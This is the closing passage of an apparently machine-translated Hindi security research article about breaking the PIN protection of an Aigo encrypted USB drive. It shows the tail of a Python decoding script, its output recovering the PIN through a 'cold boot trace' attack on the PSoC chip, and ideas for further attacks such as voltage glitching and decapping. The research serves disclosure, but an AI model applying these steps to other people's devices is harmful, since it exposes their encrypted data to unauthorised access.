  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

यहाँ इसके निष्पादन का परिणाम है:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

हुर्रे! काम करता है!

कृपया ध्यान दें कि मेरे द्वारा उपयोग किए गए विलंबता मान संभवतः एक विशिष्ट PSoC के लिए प्रासंगिक हैं - जिसका मैंने उपयोग किया था।

8. आगे क्या है?

तो, आइए हमारे एगो ड्राइव के संदर्भ में, पीएसओसी पक्ष पर संक्षेप में चर्चा करें:

• हम SRAM को पढ़ सकते हैं, भले ही वह रीड प्रोटेक्टेड हो;
• हम कोल्ड बूट ट्रेस अटैक का उपयोग करके और सीधे पिन कोड को पढ़कर एंटी-स्वाइप सुरक्षा को बायपास कर सकते हैं।

हालाँकि, सिंक्रोनाइज़ेशन समस्याओं के कारण हमारे हमले में कुछ खामियाँ हैं। इसे इस प्रकार सुधारा जा सकता है:

• "कोल्ड बूट ट्रेस" हमले के परिणामस्वरूप प्राप्त आउटपुट डेटा को सही ढंग से डिकोड करने के लिए एक उपयोगिता लिखें;
• अधिक सटीक समय विलंब बनाने के लिए FPGA गैजेट का उपयोग करें (या Arduino हार्डवेयर टाइमर का उपयोग करें);
• एक और हमले का प्रयास करें: जानबूझकर गलत पिन कोड दर्ज करें, रैम को रीबूट करें और डंप करें, यह उम्मीद करते हुए कि सही पिन कोड तुलना के लिए रैम में सहेजा जाएगा। हालाँकि, Arduino पर ऐसा करना इतना आसान नहीं है, क्योंकि Arduino सिग्नल स्तर 5 वोल्ट है, जबकि हम जिस बोर्ड की जांच कर रहे हैं वह 3,3 वोल्ट सिग्नल के साथ काम करता है।

एक दिलचस्प चीज़ जिसे आज़माया जा सकता है वह है रीड प्रोटेक्शन को बायपास करने के लिए वोल्टेज स्तर के साथ खेलना। यदि यह दृष्टिकोण काम करता है, तो हम फ्लैश ड्राइव से बिल्कुल सटीक डेटा प्राप्त करने में सक्षम होंगे - सटीक समय विलंब के साथ चेकसम को पढ़ने पर निर्भर होने के बजाय।

चूँकि SROM संभवतः रीडब्लॉक सिस्टम कॉल के माध्यम से गार्ड बिट्स को पढ़ता है, हम वही काम कर सकते हैं वर्णित दिमित्री नेडोस्पासोव के ब्लॉग पर - क्रिस गेरलिंस्की के हमले का पुनः कार्यान्वयन, सम्मेलन में घोषणा की गई "रीकॉन ब्रुसेल्स 2017".

एक और मज़ेदार चीज़ जो की जा सकती है वह है चिप से केस को अलग करना: एसआरएएम डंप लेना, अनिर्दिष्ट सिस्टम कॉल और कमजोरियों की पहचान करना।

9। निष्कर्ष

इसलिए, इस ड्राइव की सुरक्षा वांछित नहीं है, क्योंकि यह पिन कोड को संग्रहीत करने के लिए एक नियमित ("कठोर" नहीं) माइक्रोकंट्रोलर का उपयोग करता है... साथ ही, मैंने (अभी तक) यह नहीं देखा है कि डेटा के साथ चीजें कैसे चल रही हैं इस डिवाइस पर एन्क्रिप्शन!

आप ऐगो के लिए क्या अनुशंसा कर सकते हैं? एन्क्रिप्टेड HDD ड्राइव के कुछ मॉडलों का विश्लेषण करने के बाद, 2015 में मैंने बनाया की प्रस्तुति SyScan पर, जिसमें उन्होंने कई बाहरी HDD ड्राइव की सुरक्षा समस्याओं की जांच की, और उनमें क्या सुधार किया जा सकता है, इस पर सिफारिशें कीं। 🙂

मैंने इस शोध को करने में दो सप्ताहांत और कई शामें बिताईं। कुल मिलाकर लगभग 40 घंटे। शुरुआत से (जब मैंने डिस्क खोली) से अंत तक (पिन कोड डंप) गिनती की। उन्हीं 40 घंटों में वह समय भी शामिल है जो मैंने इस लेख को लिखने में बिताया। यह बहुत ही रोमांचक यात्रा थी.

स्रोत: www.habr.com